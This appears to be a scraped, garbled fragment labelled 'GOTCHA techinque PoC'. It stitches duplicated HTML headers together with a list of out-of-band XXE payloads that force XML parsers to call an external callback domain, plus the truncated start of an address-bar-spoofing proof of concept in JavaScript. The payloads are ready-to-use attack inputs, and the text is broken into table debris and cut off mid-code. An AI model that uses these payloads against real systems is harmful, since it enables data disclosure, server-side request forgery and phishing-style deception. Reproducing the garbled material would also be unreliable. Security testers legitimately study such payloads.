GOTCHA techinque PoC
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device;height=device">
  <title>GOTCHA PoC</title>
 | <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x /> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x /> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/> | |
| <?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y | 
GOTCHA techinque PoC
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device;height=device">
  <title>GOTCHA PoC</title>
 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> | |
| <html> | |
| <head><title>address bar spoofing</title> | |
| <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> | |
| </head> | |
| <body><h1>address bar spoofing</h1> | |
| <li>Please click the button to run the proof of concept. <button id="one">Demo</button></li> | |
| <script type="text/javascript"> | |
| document.getElementById('one').onclick = function() { | |
| myWindow=window.open('http://underc0de.org/','Underc0de','width=200,height=100,location=yes'); |